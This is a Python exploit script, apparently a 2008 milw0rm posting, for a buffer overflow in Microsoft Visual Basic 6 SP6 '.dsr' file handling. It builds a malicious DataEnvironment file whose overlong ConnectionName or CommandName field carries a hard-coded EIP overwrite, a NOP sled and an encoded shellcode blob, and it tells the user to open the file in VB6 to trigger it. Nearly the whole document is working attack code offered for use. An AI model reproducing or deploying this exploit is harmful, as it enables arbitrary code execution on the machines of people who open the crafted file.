127 lines
No EOL
6.1 KiB
Python
Executable file
127 lines
No EOL
6.1 KiB
Python
Executable file
#usage: exploit.py
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import time
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print "---------------------------------------------------------------------------"
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print ' MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling Buffer Overflow\n'
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print " author: shinnai"
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print " mail: shinnai[at]autistici[dot]org"
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print " site: http://shinnai.altervista.org\n"
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print " Once you create the file, open it with Visual Basic 6 and click on"
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print " connection or command name."
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print "---------------------------------------------------------------------------"
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EIP = "\xFF\xBE\x3F\x7E" #call ESP from user32.dll
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nop = "\x90\x90\x90\x90"
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shellcode = \
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"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+\
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"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+\
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"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+\
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"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+\
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"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"+\
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"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"+\
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"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"+\
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"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"+\
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"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"+\
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"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+\
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"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"+\
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"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"+\
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"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"+\
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"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+\
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"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"+\
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"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"+\
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"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"+\
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"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"+\
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"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"+\
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"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"+\
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"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"+\
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"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"
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try:
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choice = int(raw_input('Choose 1 for "ConnectionName", 2 for "CommandName" bof or '+\
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'3 to quit:\n==> '))
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if choice == 1:
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buff = 'Connection1' + " " * 559 + EIP + "A" * 12 + nop + shellcode + nop
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try:
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vb_dsr = \
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'VERSION 5.00\n'+\
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'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n'+\
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' ClientHeight = 6315\n'+\
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' ClientLeft = 0'+\
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' ClientTop = 0\n'+\
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' ClientWidth = 7935\n'+\
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' _ExtentX = 13996\n'+\
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' _ExtentY = 11139\n'+\
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' FolderFlags = 1\n'+\
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' TypeInfoCookie = 0\n'+\
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' Version = 4\n'+\
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' NumConnections = 1\n'+\
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' BeginProperty Connection1\n'+\
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' ConnectionName = "' + buff + '"\n'+\
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' ConnDispId = 1001\n'+\
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' SourceOfData = 3\n'+\
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' QuoteChar = 34\n'+\
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' SeparatorChar = 46\n'+\
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' EndProperty\n'+\
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' NumRecordsets = 0\n'+\
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'End' + "\x0D\x0A" #"\x0D\x0A" ==> EOF
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out_file = open('ConnectionName.dsr','w')
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out_file.write(vb_dsr)
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out_file.close()
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print "FILE CREATED!"
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except:
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print "Something wrong in file creation!"
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if choice == 2:
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buff = 'Command1' + " " * 566 + EIP + "A" * 12 + nop + shellcode + nop
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try:
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vb_dsr = \
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'VERSION 5.00\n'+\
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'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n'+\
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' ClientHeight = 6315\n'+\
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' ClientLeft = 0'+\
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' ClientTop = 0\n'+\
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' ClientWidth = 7935\n'+\
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' _ExtentX = 13996\n'+\
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' _ExtentY = 11139\n'+\
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' FolderFlags = 1\n'+\
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' TypeInfoCookie = 0\n'+\
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' Version = 4\n'+\
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' NumConnections = 1\n'+\
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' BeginProperty Connection1\n'+\
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' ConnectionName = "Connection1"\n'+\
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' ConnDispId = 1001\n'+\
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' SourceOfData = 3\n'+\
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' QuoteChar = 34\n'+\
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' SeparatorChar = 46\n'+\
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' EndProperty\n'+\
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' NumRecordsets = 1\n'+\
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' BeginProperty Recordset1\n'+\
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' CommandName = "' + buff + '"\n'+\
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' CommDispId = 1002\n'+\
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' RsDispId = -1\n'+\
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' ActiveConnectionName= "Connection1"\n'+\
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' NumFields = 0\n'+\
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' NumGroups = 0\n'+\
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' ParamCount = 0\n'+\
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' RelationCount = 0\n'+\
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' AggregateCount = 0\n'+\
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' EndProperty\n'+\
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'End' + "\x0D\x0A" #"\x0D\x0A" ==> EOF
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out_file = open('CommandName.dsr','w')
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out_file.write(vb_dsr)
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out_file.close()
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print "FILE CREATED!"
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except:
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print "Something wrong in file creation!"
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if choice == 3:
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print "Be safe!"
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if choice !=1 and choice != 2 and choice != 3:
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print "D'oh! You MUST choose a value between 1 and 3"
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except:
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print "mmm... ok, you want it..."
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time.sleep(4)
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print "London Bridge is falling down,\nFalling down, falling down\nLondon Bridge is falling down\nMy fair lady" * 99999
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# milw0rm.com [2008-01-18] |